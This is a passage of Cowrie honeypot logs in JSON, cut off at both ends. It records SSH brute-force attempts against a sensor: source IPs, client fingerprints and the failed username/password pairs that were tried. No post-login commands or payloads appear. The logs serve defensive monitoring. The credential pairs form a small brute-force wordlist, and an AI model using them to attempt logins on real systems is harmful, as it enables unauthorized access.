-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:54.027910Z","src_ip":"213.202.230.81","session":"b4fd54b374c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta123","password":"theta123","message":"login attempt [theta123/theta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:54.295916Z","src_ip":"213.202.230.81","session":"b4fd54b374c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:55.388231Z","src_ip":"213.202.230.81","session":"b4fd54b374c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":45712,"dst_ip":"10.17.0.5","dst_port":22,"session":"2633aae957d1","protocol":"ssh","message":"New connection: 162.144.88.94:45712 (10.17.0.5:22) [session: 2633aae957d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:02.000522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:02.004505Z","src_ip":"162.144.88.94","session":"2633aae957d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:02.090096Z","src_ip":"162.144.88.94","session":"2633aae957d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vrt","password":"vrt123","message":"login attempt [vrt/vrt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:02.345667Z","src_ip":"162.144.88.94","session":"2633aae957d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:03.429823Z","src_ip":"162.144.88.94","session":"2633aae957d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":50928,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a3bee2ff809","protocol":"ssh","message":"New connection: 159.65.58.200:50928 (159.203.135.109:22) [session: 0a3bee2ff809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:11.590946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:11.801919Z","src_ip":"159.65.58.200","session":"0a3bee2ff809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:11.804994Z","src_ip":"159.65.58.200","session":"0a3bee2ff809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svecj","password":"123456","message":"login attempt [svecj/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:12.837446Z","src_ip":"159.65.58.200","session":"0a3bee2ff809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:14.098989Z","src_ip":"159.65.58.200","session":"0a3bee2ff809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:15.462374Z","src_ip":"8.210.75.243","session":"61d3d85e84ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":34738,"dst_ip":"159.203.135.109","dst_port":22,"session":"e11d48222654","protocol":"ssh","message":"New connection: 132.148.155.138:34738 (159.203.135.109:22) [session: e11d48222654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:16.167820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:16.172046Z","src_ip":"132.148.155.138","session":"e11d48222654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.56264901161194,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:16.227839Z","src_ip":"170.64.224.25","session":"dc1c1699bf62","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:16.237252Z","src_ip":"132.148.155.138","session":"e11d48222654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1v3p3r$Tr0ng@P@ss","message":"login attempt [root/L1v3p3r$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:16.438890Z","src_ip":"132.148.155.138","session":"e11d48222654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:17.513070Z","src_ip":"132.148.155.138","session":"e11d48222654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":58640,"dst_ip":"159.203.135.109","dst_port":22,"session":"07400693fa9c","protocol":"ssh","message":"New connection: 162.144.105.39:58640 (159.203.135.109:22) [session: 07400693fa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:22.388005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:22.392339Z","src_ip":"162.144.105.39","session":"07400693fa9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:22.481159Z","src_ip":"162.144.105.39","session":"07400693fa9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NEO$Tr0ng@P@ss","message":"login attempt [root/NEO$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:22.761176Z","src_ip":"162.144.105.39","session":"07400693fa9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:23.852979Z","src_ip":"162.144.105.39","session":"07400693fa9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:28.196241Z","src_ip":"8.210.75.243","session":"788e6a752848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":54154,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8f7f21460a2","protocol":"ssh","message":"New connection: 192.169.244.109:54154 (10.17.0.5:22) [session: d8f7f21460a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:37.548255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:37.555544Z","src_ip":"192.169.244.109","session":"d8f7f21460a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:37.620878Z","src_ip":"192.169.244.109","session":"d8f7f21460a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zil","password":"zil123","message":"login attempt [zil/zil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:37.816504Z","src_ip":"192.169.244.109","session":"d8f7f21460a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:38.909664Z","src_ip":"192.169.244.109","session":"d8f7f21460a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:43.300647Z","src_ip":"8.210.75.243","session":"a978d28874bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52126,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f87241a84b1","protocol":"ssh","message":"New connection: 8.210.75.243:52126 (10.17.0.5:22) [session: 9f87241a84b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:59.028116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:59.594919Z","src_ip":"8.210.75.243","session":"9f87241a84b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:01:59.597296Z","src_ip":"8.210.75.243","session":"9f87241a84b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:05.639143Z","src_ip":"8.210.75.243","session":"e383ba12947a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":40082,"dst_ip":"159.203.135.109","dst_port":22,"session":"200c2e5be297","protocol":"ssh","message":"New connection: 69.163.176.54:40082 (159.203.135.109:22) [session: 200c2e5be297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:21.074201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:21.083361Z","src_ip":"69.163.176.54","session":"200c2e5be297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:21.154372Z","src_ip":"69.163.176.54","session":"200c2e5be297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edgewallet","password":"edge123","message":"login attempt [edgewallet/edge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:21.366926Z","src_ip":"69.163.176.54","session":"200c2e5be297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:22.441146Z","src_ip":"69.163.176.54","session":"200c2e5be297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":49770,"dst_ip":"10.17.0.5","dst_port":22,"session":"7409e8d049b2","protocol":"ssh","message":"New connection: 165.227.170.113:49770 (10.17.0.5:22) [session: 7409e8d049b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:31.442386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:31.446897Z","src_ip":"165.227.170.113","session":"7409e8d049b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","